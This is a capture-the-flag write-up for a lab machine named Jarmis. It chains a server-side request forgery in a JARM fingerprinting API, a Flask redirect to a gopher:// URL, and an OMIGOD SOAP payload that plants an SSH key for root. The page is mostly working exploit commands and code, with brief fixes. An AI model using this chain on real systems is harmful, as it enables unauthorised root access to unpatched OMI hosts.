Jarmis
Summary
I discovered a JARM TLS-fingerprint web API on jarmis.htb that silently fetched user-supplied URLs server-side. By crafting a JSON request that satisfied the API's gating logic, I turned the fetch into a blind SSRF oracle and used it to TLS-port-scan localhost, uncovering an internal Microsoft OMI (Open Management Infrastructure) service on port 5986. Because the JARM API only performed TLS handshakes — not arbitrary POST bodies — I escalated the SSRF by standing up a Flask redirect server that issued a 302 response pointing to a gopher:// URL encoding a raw OMIGOD (CVE-2021-38647) SOAP payload. The OMI daemon, running as root and requiring no authentication header, executed the shell command directly, granting immediate root access and allowing both flags to be read.
Attack path — how the box was taken
Exact commands 3
nmap -sCV -p 22,80 $INTERNAL_TARGET -oN nmap/jarmis.txtecho '$INTERNAL_TARGET jarmis.htb' | sudo tee -a /etc/hostscurl -sS http://$TARGET/docs | python3 -m json.toolExact commands 3
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes -subj '/CN=operator'openssl s_server -key key.pem -cert cert.pem -port 443 -HTTPcurl -sS -X POST http://$TARGET/api/v1/fetch -H 'Content-Type: application/json' -d '{"server":"https://$CALLBACK_HOST:443","ismalicious":false}'FixRestrict the JARM API from making outbound requests to internal network addressesHigh
Exact commands 1
for port in 5985 5986 8080 8443 3306 6379 9200; do echo -n "Port $port: "; curl -sS -X POST http://$TARGET/api/v1/fetch -H 'Content-Type: application/json' -d "{\"server\":\"https://$LOOPBACK:$port\",\"ismalicious\":false}" | python3 -m json.tool; doneFixRestrict the JARM API from making outbound requests to internal network addressesHigh
Exact commands 2
cat > redirect.py << 'EOF'
from flask import Flask, redirect
import ssl
app = Flask(__name__)
GOPHER_PAYLOAD = "gopher://localhost:5986/_%HTTP_ENCODED_SOAP_PAYLOAD%"
@app.route('/', defaults={'path': ''}, methods=['GET','POST'])
@app.route('/<path:path>', methods=['GET','POST'])
def catch_all(path):
return redirect(GOPHER_PAYLOAD, code=302)
if __name__ == '__main__':
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('cert.pem', 'key.pem')
app.run(host='0.0.0.0', port=443, ssl_context=ctx)
EOFpython3 redirect.py &FixPatch or remove OMI — apply the OMIGOD security update immediatelyCritical
Exact commands 4
ssh-keygen -t ed25519 -f /tmp/jarmis_key -N ''PUBKEY=$(cat /tmp/jarmis_key.pub); python3 -c "
import urllib.parse, sys
cmd = f'mkdir -p /root/.ssh && echo {sys.argv[1]} >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys'
soap = '''POST /wsman HTTP/1.1\r\nHost: localhost:5986\r\nContent-Type: application/soap+xml;charset=UTF-8\r\nContent-Length: XXXX\r\n\r\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:p=\"http://schemas.microsoft.com/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\"><s:Header><a:To>https://$LOOPBACK:5986/wsman</a:To><w:ResourceURI>http://schemas.microsoft.com/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI><a:ReplyTo><a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address></a:ReplyTo><a:Action s:mustUnderstand=\"true\">http://schemas.microsoft.com/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action><w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize><a:MessageID>uuid:DEADBEEF-0000-0000-0000-000000000001</a:MessageID><w:OperationTimeout>PT60S</w:OperationTimeout></s:Header><s:Body><p:ExecuteShellCommand_INPUT><p:command>CMD_PLACEHOLDER</p:command><p:timeout>0</p:timeout></p:ExecuteShellCommand_INPUT></s:Body></s:Envelope>'''
print(urllib.parse.quote(soap.replace('CMD_PLACEHOLDER', cmd)))
" "$PUBKEY"curl -sS -X POST http://$TARGET/api/v1/fetch -H 'Content-Type: application/json' -d '{"server":"https://$CALLBACK_HOST:443","ismalicious":false}'ssh -i /tmp/jarmis_key root@$INTERNAL_TARGETFixPatch or remove OMI — apply the OMIGOD security update immediatelyCritical
Exact commands 2
find /home -name user.txt -exec cat {} \;cat /root/root.txtExposed services
| 22/tcp | ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) |